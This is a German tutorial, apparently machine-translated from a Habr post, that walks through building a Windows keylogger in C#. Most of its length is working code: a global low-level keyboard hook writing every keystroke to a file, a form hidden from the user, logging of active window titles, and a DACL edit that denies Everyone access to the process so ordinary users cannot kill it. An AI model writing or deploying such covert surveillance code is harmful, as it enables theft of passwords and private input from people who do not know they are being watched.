Keylogger für Windows mit Rechteänderung in DACL

Hier betrachten wir die Erstellung von Keylogger auf der Basis von .Net C # mit Aufrufen von Systemfunktionen. Die Systemfunktionen selbst werden kurz beschrieben, es ist jedoch besser, die offizielle Dokumentation von Microsoft zu lesen. Der Link zum Repository mit der Arbeitsgruppe ist am Ende angegeben, sowie der Link zur Dokumentation.

Was wird umgesetzt:

  • Tastatureingaben protokollieren.
  • Protokollierung des aktiven Fensters.
  • Blockieren eines Prozesses von einem Benutzer ohne Administratorrechte.
  • Beenden Sie den Vorgang über die Tastenkombination.

Zum Schreiben benötigen Sie C #, Kenntnisse der Win-API und der Windows-DACL.

Wir werden also verschiedene Arten von Systemcodes analysieren, die benötigt werden. Jeder Typ wird in einer separaten Enumeration gespeichert.

Arten von Haken.

public enum HookTypes { WH_CALLWNDPROC = 4, WH_CALLWNDPROCRET = 12, WH_KEYBOARD = 2, WH_KEYBOARD_LL = 13, WH_MOUSE = 7, WH_MOUSE_LL = 14, WH_JOURNALRECORD = 0, WH_JOURNALPLAYBACK = 1, WH_FOREGROUNDIDLE = 11, WH_SYSMSGFILTER = 6, WH_GETMESSAGE = 3, WH_CBT = 5, WH_HARDWARE = 8, WH_DEBUG = 9, WH_SHELL = 10, } 

Um alle Ereignisse im Zusammenhang mit der Tastatur abzufangen , benötigen Sie den Typ WH_KEYBOARD_LL . Alle anderen Hook-Typen erfordern die Implementierung separater DLLs, mit Ausnahme eines anderen WH_MOUSE_LL- Hook-Maus-bezogenen Ereignisses.

Arten von Ereignissen, die mit der Tastatur verknüpft sind und die eine Taste drücken und loslassen.

 public enum KeyboardEventTypes { WM_KEYDOWN = 0x0100, WM_KEYUP = 0x0101, } 

Wir werden die eingegebenen Zeichen durch Loslassen der Taste - WM_KEYUP - aufzeichnen .

Separat: Typen zum Erfassen des Übergangs eines Benutzers von einem Anwendungsfenster zum anderen.

 public class WinEventTypes { public const uint WINEVENT_OUTOFCONTEXT = 0; public const uint EVENT_SYSTEM_FOREGROUND = 3; } 

Aufzählung, um die Tastenkombination zum Deaktivieren des Programms zu verwenden.

 public enum CombineKeys { MOD_ALT = 0x1, MOD_CONTROL = 0x2, MOD_SHIFT = 0x4, MOD_WIN = 0x8, WM_HOTKEY = 0x0312, } 

Um alle Punkte zu implementieren, erstellen Sie zuerst das Formular und verbergen Sie es vor dem Benutzer. Es reicht aus, die grundlegende SetVisibleCore-Methode zu überschreiben.

 protected override void SetVisibleCore(bool value) { base.SetVisibleCore(false); } 

Das Formular wird beim Programmstart gestartet.

 Application.Run(HiddenForm); 

Es gibt ein Formular und jetzt müssen Sie die Hauptfunktion hinzufügen - das Abfangen von Tastatureingaben. Wir verwenden die Win API SetWindowsHookEx Methode, die folgenden Parameter werden übergeben:

  • Die Art des Hakens ist WH_KEYBOARD_LL.
  • Rückruffunktion, d.h. Die Methode, die alle Ereignisse behandeln soll, die mit der Tastatur zusammenhängen.
  • ID des aktuellen Moduls .
  • Die Thread-ID ist 0. Null, sodass der Hook allen Threads zugeordnet ist.

 internal IntPtr SetHook(HookTypes typeOfHook, HookProc callBack) { using (Process currentProcess = Process.GetCurrentProcess()) using (ProcessModule currentModule = currentProcess.MainModule) { return SetWindowsHookEx((int)typeOfHook, callBack, GetModuleHandle(currentModule.ModuleName), 0); } } 

Die Methode selbst, die den Hook verarbeitet. Es hat mehrere Parameter, nCode - um zu verstehen, ob es notwendig ist, das aktuelle Ereignis zu verarbeiten oder sofort weiterzuleiten,
wParam - Art des Ereignisses (Drücken oder Loslassen einer Taste), lParam - Zeichen, das gerade gedrückt wird. LParam ist im Wesentlichen ein Array von Bytes, in dem zusätzliche Informationen gespeichert werden, z. B. die Anzahl der Zeichen, wenn der Benutzer den Schlüssel hält und der Computer, auf dem die Verarbeitung ausgeführt wird, langsam ist.

 internal static IntPtr KeyLoggerHookCallback(int nCode, IntPtr wParam, IntPtr lParam) { if (nCode >= 0 && wParam == (IntPtr)KeyboardEventTypes.WM_KEYUP) { int vkCode = Marshal.ReadInt32(lParam); SetKeysState(); var saveText = GetSymbol((uint)vkCode); File.AppendAllText(_fileName, saveText); } return CallNextHookEx(HookId, nCode, wParam, lParam); } 

Diese Implementierung schreibt ein Zeichen erst, nachdem der Benutzer den Schlüssel losgelassen hat. Um die Anzahl der Zeichen aufzuzeichnen, müssen Sie einen Fall vom Typ WM_KEYDOWN implementieren .

Die SetKeysState- Methode wird verwendet, um den Status zusätzlicher Schlüssel zu ermitteln, z. B. Schlüssel, die sich auf die Groß- / Kleinschreibung auswirken.

 private static void SetKeysState() { _capsLock = GetKeyState((int)Keys.CapsLock) != 0; _numLock = GetKeyState((int)Keys.NumLock) != 0; _scrollLock = GetKeyState((int)Keys.Scroll) != 0; _shift = GetKeyState((int)Keys.ShiftKey) != 0; } 

GetKeyState ist eine weitere Win-API-Methode, mit der Sie den Status anhand des Schlüsselcodes ermitteln können.

 private static string GetSymbol(uint vkCode) { var buff = new StringBuilder(maxChars); var keyboardState = new byte[maxChars]; var keyboard = GetKeyboardLayout( GetWindowThreadProcessId(GetForegroundWindow(), IntPtr.Zero)); ToUnicodeEx(vkCode, 0, keyboardState, buff, maxChars, 0, (IntPtr)keyboard); var buffSymbol = buff.ToString(); var symbol = buffSymbol.Equals("\r") ? Environment.NewLine : buffSymbol; if (_capsLock ^ _shift) symbol = symbol.ToUpperInvariant(); return symbol; } 

Bei der GetSymbol- Methode wird zuerst der GetKeyboardLayout- Tastaturlayoutcode für das aktuelle Fenster angefordert und dann ToUnicodeEx , um das Zeichen abzurufen. Beide Win-API-Methoden. Wenn die Groß- und Kleinschreibung betroffen ist, muss das Zeichen in Großbuchstaben umgewandelt werden.

Dies reicht aus, um Eingaben über die Tastatur zu protokollieren. Um das aktuell aktive Fenster aufzuzeichnen, müssen Sie jedoch einen anderen Hook verwenden.

 internal IntPtr SetWinHook(WinEventProc callBack) { using (Process currentProcess = Process.GetCurrentProcess()) using (ProcessModule currentModule = currentProcess.MainModule) { return SetWinEventHook( WinEventTypes.EVENT_SYSTEM_FOREGROUND, WinEventTypes.EVENT_SYSTEM_FOREGROUND, GetModuleHandle(currentModule.ModuleName), callBack, 0, 0, WinEventTypes.WINEVENT_OUTOFCONTEXT); } } 

Der Typ EVENT_SYSTEM_FOREGROUND wird benötigt, um Änderungen im aktiven Fenster zu verfolgen. Und WINEVENT_OUTOFCONTEXT zeigt an, dass sich die Rückrufmethode in unserer Anwendung befindet.

Die an die Hook-Kette übergebene Methode enthält viele Parameter, die für eine detailliertere Implementierung hilfreich sein können. In diesem Fall ist es ausreichend, das aktive Fenster und seinen Titel herauszufinden.

 internal static void ActiveWindowsHook( IntPtr hWinEventHook, uint eventType, IntPtr hwnd, int idObject, int idChild, uint dwEventThread, uint dwmsEventTime) { File.AppendAllText(_fileName, $"{Environment.NewLine}{GetActiveWindowTitle()}{Environment.NewLine}"); } 

Das heißt, jedes Fensteränderungsereignis wird aufgezeichnet. Und in GetActiveWindowTitle reicht es aus, einige Win API GetForegroundWindow- Methoden zu verwenden. Ermitteln Sie die Kennung des aktuell aktiven Fensters, nachdem Sie mit GetWindowText einen Titel angefordert haben .

 private static string GetActiveWindowTitle() { var buff = new StringBuilder(maxChars); var handle = GetForegroundWindow(); if (GetWindowText(handle, buff, maxChars) > 0) { return buff.ToString(); } return null; } 

Bis zu diesem Zeitpunkt wurden alle Systemfunktionsaufrufe aus den User32- und Kernel32- Bibliotheken abgerufen . Der nächste Schritt ist die Verwendung der advapi32- Bibliothek.

Der dritte Schritt besteht darin, den Durchschnittsbenutzer daran zu hindern, den Vorgang der Aufzeichnung der Tastatureingabe abzuschließen. Zuerst müssen Sie einen Handle für diesen Prozess erstellen und ihn dann ändern, indem Sie der DACL einen Eintrag hinzufügen.

 internal void BlockForNotAdminUsers() { var hProcess = Process.GetCurrentProcess().Handle; var securityDescriptor = GetProcessSecurityDescriptor(hProcess); var sid = WindowsIdentity.GetCurrent().User.AccountDomainSid; securityDescriptor.DiscretionaryAcl.InsertAce( 0, new CommonAce( AceFlags.None, AceQualifier.AccessDenied, (int)ProcessAccessRights.PROCESS_ALL_ACCESS, new SecurityIdentifier(WellKnownSidType.WorldSid, sid), false, null)); SetProcessSecurityDescriptor(hProcess, securityDescriptor); } 

Der Prozessdeskriptor wird über GetKernelObjectSecurity empfangen , die Methode wird zweimal aufgerufen, zuerst erhalten wir die Länge des Deskriptors und beim zweiten Aufruf erhalten wir den Prozessdeskriptor direkt.

 private RawSecurityDescriptor GetProcessSecurityDescriptor(IntPtr processHandle) { var psd = new byte[0]; GetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, psd, 0, out uint bufSizeNeeded); if (bufSizeNeeded < 0 || bufSizeNeeded > short.MaxValue) throw new Win32Exception(); if (!GetKernelObjectSecurity( processHandle, DACL_SECURITY_INFORMATION, psd = new byte[bufSizeNeeded], bufSizeNeeded, out bufSizeNeeded)) throw new Win32Exception(); return new RawSecurityDescriptor(psd, 0); } 

Nach dem Ändern des Deskriptors müssen Sie diese Informationen in den aktuellen Prozess eingeben. Es reicht aus, den Bezeichner und den Deskriptor des Prozesses an die Systemmethode SetKernelObjectSecurity zu übergeben .

 private void SetProcessSecurityDescriptor(IntPtr processHandle, RawSecurityDescriptor securityDescriptor) { var rawsd = new byte[securityDescriptor.BinaryLength]; securityDescriptor.GetBinaryForm(rawsd, 0); if (!SetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, rawsd)) throw new Win32Exception(); } 

Der letzte Schritt besteht darin, den Vorgang mit einer Tastenkombination abzubrechen.

 internal static int SetHotKey(Keys key, IntPtr handle) { int modifiers = 0; if ((key & Keys.Alt) == Keys.Alt) modifiers |= (int)CombineKeys.MOD_ALT; if ((key & Keys.Control) == Keys.Control) modifiers |= (int)CombineKeys.MOD_CONTROL; if ((key & Keys.Shift) == Keys.Shift) modifiers |= (int)CombineKeys.MOD_SHIFT; Keys keys = key & ~Keys.Control & ~Keys.Shift & ~Keys.Alt; var keyId = key.GetHashCode(); RegisterHotKey(handle, keyId, modifiers, (int)keys); return keyId; } 

Hier ist key eine Tastenkombination, und handle ist die Kennung eines ausgeblendeten Formulars. Um die Tastenkombination auf dem Formular zu erkennen, wird keyId erstellt, mit der die Funktion der Tastenkombination überprüft werden kann. Und das alles wird über die Win-API-Methode RegisterHotKey geschrieben .

Und um den Prozess zu beenden, definieren wir die WndProc- Methode im Formular neu.

 protected override void WndProc(ref Message m) { if (m.Msg == (int)CombineKeys.WM_HOTKEY) { if ((int)m.WParam == KeyId) { UnregisterHotKey(Handle, KeyId); Application.Exit(); } } base.WndProc(ref m); } 

Nützliche Links:

Repository-Link
Link zur MS-Dokumentation.

Source: https://habr.com/ru/post/de482644/


All Articles